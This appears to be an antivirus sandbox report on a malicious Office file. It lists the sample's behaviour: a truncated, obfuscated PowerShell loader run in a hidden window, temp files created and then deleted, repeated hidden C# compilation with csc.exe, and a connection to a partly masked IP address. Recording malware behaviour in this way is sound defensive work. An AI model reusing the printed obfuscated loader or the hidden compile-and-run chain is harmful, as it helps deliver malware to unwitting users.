Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function j284552 { param($mb512) $u353b = 'od475c'; $o457d1 = ''; for ($i = 0; $i -lt $mb512.length; $i+=2) { $uc66b45 = [convert]::ToByte($mb512.Substring($i, 2), 16...
Modifies file system
Creates the following files
- %TEMP%\8685tlyc.0.cs
- %TEMP%\package.json
- %TEMP%\resfc9.tmp
- %TEMP%\cscfc8.tmp
- %TEMP%\qo6x1gbq.out
- %TEMP%\qo6x1gbq.cmdline
- %TEMP%\qo6x1gbq.0.cs
- %TEMP%\kezstgei.dll
- %TEMP%\res1a6.tmp
- %TEMP%\csc196.tmp
- %TEMP%\kezstgei.out
- %TEMP%\kezstgei.cmdline
- %TEMP%\kezstgei.0.cs
- %TEMP%\o-vmprcc.dll
- %TEMP%\rese476.tmp
- %TEMP%\csce465.tmp
- %TEMP%\o-vmprcc.out
- %TEMP%\o-vmprcc.cmdline
- %TEMP%\o-vmprcc.0.cs
- %TEMP%\mxgi4ikf.dll
- %TEMP%\rescbc8.tmp
- %TEMP%\csccbb7.tmp
- %TEMP%\mxgi4ikf.out
- %TEMP%\mxgi4ikf.cmdline
- %TEMP%\mxgi4ikf.0.cs
- %TEMP%\8685tlyc.dll
- %TEMP%\resb8f3.tmp
- %TEMP%\cscb8b4.tmp
- %TEMP%\8685tlyc.out
- %TEMP%\8685tlyc.cmdline
- %TEMP%\qo6x1gbq.dll
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{cb26f8ff-af1d-4ab2-9e4d-d9dcf297bf55}.tmp
Deletes the following files
- %TEMP%\resb8f3.tmp
- %TEMP%\res1a6.tmp
- %TEMP%\csc196.tmp
- %TEMP%\kezstgei.0.cs
- %TEMP%\kezstgei.cmdline
- %TEMP%\kezstgei.pdb
- %TEMP%\o-vmprcc.out
- %TEMP%\o-vmprcc.pdb
- %TEMP%\kezstgei.dll
- %TEMP%\cscfc8.tmp
- %TEMP%\qo6x1gbq.dll
- %TEMP%\qo6x1gbq.out
- %TEMP%\qo6x1gbq.pdb
- %TEMP%\qo6x1gbq.0.cs
- %TEMP%\kezstgei.out
- %TEMP%\resfc9.tmp
- %TEMP%\o-vmprcc.dll
- %TEMP%\o-vmprcc.cmdline
- %TEMP%\o-vmprcc.0.cs
- %TEMP%\8685tlyc.pdb
- %TEMP%\8685tlyc.0.cs
- %TEMP%\8685tlyc.cmdline
- %TEMP%\8685tlyc.out
- %TEMP%\8685tlyc.dll
- %TEMP%\rescbc8.tmp
- %TEMP%\cscb8b4.tmp
- %TEMP%\csccbb7.tmp
- %TEMP%\mxgi4ikf.dll
- %TEMP%\mxgi4ikf.cmdline
- %TEMP%\mxgi4ikf.out
- %TEMP%\mxgi4ikf.pdb
- %TEMP%\rese476.tmp
- %TEMP%\csce465.tmp
- %TEMP%\mxgi4ikf.0.cs
- %TEMP%\qo6x1gbq.cmdline
- %TEMP%\package.json
Network activity
Connects to
- '35.##5.198.20':80
Miscellaneous
Creates and executes the following
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8685tlyc.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB8F3.tmp" "%TEMP%\CSCB8B4.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mxgi4ikf.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCBC8.tmp" "%TEMP%\CSCCBB7.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\o-vmprcc.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE476.tmp" "%TEMP%\CSCE465.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\kezstgei.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1A6.tmp" "%TEMP%\CSC196.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qo6x1gbq.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFC9.tmp" "%TEMP%\CSCFC8.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8685tlyc.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB8F3.tmp" "%TEMP%\CSCB8B4.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mxgi4ikf.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCBC8.tmp" "%TEMP%\CSCCBB7.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\o-vmprcc.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE476.tmp" "%TEMP%\CSCE465.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\kezstgei.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1A6.tmp" "%TEMP%\CSC196.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qo6x1gbq.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFC9.tmp" "%TEMP%\CSCFC8.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
